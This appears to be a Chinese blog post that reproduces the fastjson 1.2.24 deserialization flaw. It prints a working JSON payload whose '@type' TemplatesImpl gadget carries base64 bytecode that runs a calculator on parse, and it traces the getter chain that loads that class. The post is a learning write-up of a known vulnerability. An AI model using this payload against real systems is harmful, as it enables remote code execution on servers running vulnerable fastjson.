fastjson漏洞复现以及几个问题

比较久前,得知平时有些技术员使用的json解析库fastjson被爆出了漏洞。初略看看了些文章,饶有兴趣,想弄明白里边是怎么回事。以及常说的漏洞,是怎么一回事。所以去探索了、实验了下,基本满足了我的好奇心,以及留下了几个疑问。

所以,首先我们来复现下。
引入该库特定版本:compile 'com.alibaba:fastjson:1.2.24'
查看下我的java版本 java -version,显示 java version "1.8.0_211"

OK,从网上找的payload,这个为啥在安全界叫payload呢?不懂?就是我们常说的json字符串。

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

其中_bytecodes的值就是java字节码,就是自己构造的入侵类。大概的写法是:

public class AClass {
    public AClass() {
        // 运行计算器程序或执行其他命令
    }
}

然后,直接执行JSON解析,

JSON.parse(json, Feature.SupportNonPublicField);

没错了,计算器被顺利调用起来了!

根据参考文章的分析,说下我的理解以及代码试验。
理解为什么会调用起计算机的计算器应用,需要理解下面的几个点。

  1. fastjson解析字符串并赋值到实体类的时候,会调用 get 方法。重点
    代码试验下,新建一个 UserBean实体类,在 get方法中打印下日志。

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        System.out.println("getName()");
        return name;
    }

从运行结果上看,果然,get方法日志顺利打印出来了。

这里引入第一个疑问,fastjson为什么要调用(反射调用?)get方法,按我的理解,解析直接赋值成员变量嘛,又调用实体类的 get方法做什么用呢?

  1. 就是说,fastjson会解析的时候会调用get方法。那么,我们想一想这种可能性。要是java类库中,存在以 getXXX 开头的 public方法,而这个方法又在某种情况下,可以初始化一个类,更巧的是,这个类还可以由我们指定。怎么会有这么巧的事,这么奇怪的类呢?从结果反推分析,
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    这个类就刚好满足。
    按这个思路我们分析查看下 TemplatesImpl 的相关逻辑代码。
    public synchronized Properties getOutputProperties() {
        try {
            return this.newTransformer().getOutputProperties();
        } catch (TransformerConfigurationException var2) {
            return null;
        }
    }

没错,有 getOutputProperties get方法,我们跟踪进去看下做了什么?我们直接跟到这里,

   private Translet getTransletInstance() throws TransformerConfigurationException {
       ErrorMsg err;
       try {
           if (this._name == null) {
               return null;
           } else {
               if (this._class == null) {
                   this.defineTransletClasses();
               }

               AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
               translet.postInitialization();
               translet.setTemplates(this);
               translet.setServicesMechnism(this._useServicesMechanism);
               translet.setAllowedProtocols(this._accessExternalStylesheet);
               if (this._auxClasses != null) {
                   translet.setAuxiliaryClasses(this._auxClasses);
               }

               return translet;
           }
       } catch (InstantiationException var3) {
           err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
           throw new TransformerConfigurationException(err.toString());
       } catch (IllegalAccessException var4) {
           err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
           throw new TransformerConfigurationException(err.toString());
       }
   }

可以看这一句代码,

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();

它这里对某些class进行了实例化。根据里边的代码具体分析,它会把 _bytecodes 这个成员变量的值,作为java字节码,通过loader.defineClass加载进来。而_bytecodes 可以由我们指定(fastjson会对_bytecodes进行赋值)。

至此,整个流程执行完了。要是有人恶意构造请求,服务器就被入侵了。

这里引入我的第二个疑问,这个这么奇怪的类TemplatesImpl是做什么的,而且这个类的包名com.sun.org.apache.xalan.internal.xsltc.trax也是奇奇怪怪的,包名一般是顶级域名倒过来写,这个前面先是com.sunsun公司的,然后又是org.apacheapache组织的。很怪,搜索看看有没什么发现。

嗯,搜索半天,没有什么重大发现。连蒙带猜,说下这个包名我的理解。
首先看,com.sun.org.apache.xalanxalan是apache机构的一个项目,大概是XML转换相关的。

引用官网说明:
http://xml.apache.org/xalan-j/#moreinfo

Xalan-Java is an XSLT processor for transforming XML documents into HTML, text, or other XML document types. It implements XSL Transformations (XSLT) Version 1.0 and XML Path Language (XPath) Version 1.0 and can be used from the command line, in an applet or a servlet, or as a module in other program.

所以这个是apache组织的,用 org.apache无可厚非。那为什么又在前面加上com.sun,应该是sun公司或oracle公司觉得这个项目不错,然后fork了一份,作为自己的jdk的一部分。纯属我无根据瞎说。 不过stackover好像有人这样回答:

https://stackoverflow.com/questions/2791372/is-com-sun-org-apache-same-as-org-apache-package

https://stackoverflow.com/questions/27236082/what-is-the-purpose-of-com-sun-org-apache-xpath-internal-operations-string#

It is a very bad idea to use it. Once upon a time, Sun took a copy of Xerces, chock full of bugs. They made some changes. Perhaps they subtracted some bugs. We know that there are many very serious bugs that they did not subtract.
And they renamed it to com.sun.... for one reason: to tell you not to use it. At any time, in any point release, in any patch, they can change those classes incompatibly or remove them.
Further, these classes may not be in IBM's copy of the JRE, or Apple's, or (haha) Microsoft's, or JRocket.
If you want Xerces, use Xerces. To find information about this, read the Xerces-j mailing list archive for many stern warnings from the Xerces developers about the version forked by Sun.
The fact that the classes are formally 'public' means nothing except that Sun needed to be able to new them from some other package.

嗯,这个疑问就八卦到这里,也算多少有个交代。

到这里,我有第三个疑问和设想,就是有没有其它的类,在 set方法和get方法时,会出现这种问题呢?或者换一种思路,有没有其它的库,存在这个问题呢?只要满足这个条件就会触发。

从网上资料也可知,JdbcRowSetImpl这个类是满足条件的一个类,我没具体确认是否正是这种路径的漏洞。可以试想看看,或具体搜索看看,有没有其它的类库,或者这类BUG有什么统一的名字吗?以后随缘继续了解下。
第二个问题,gson, jackjson,这类的解析库会存在这个问题吗?不清楚,工作方法可能不尽相同。

还有第四个问题,就是从接触下来,这个漏洞大概不是新类型的,不是新发现独特的,那么根据经验来说,以及fastjson现在的广泛部署来说,原本应该是属于必测的TestCase吧?是不是有好心人整理份手册说,哪些漏洞是出现过的,然后基本可以成为类库开发者的必测case呢?前车之鉴,可以为师嘛。

好吧,就记录这么多吧,也在复现过程中新学了,以及多理解了一些java知识,以及非java知识。

参考:

  1. Fastjson 反序列化漏洞史
  2. 其他博文
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,014评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,796评论 3 386
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,484评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,830评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,946评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,114评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,182评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,927评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,369评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,678评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,832评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,533评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,166评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,885评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,128评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,659评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,738评论 2 351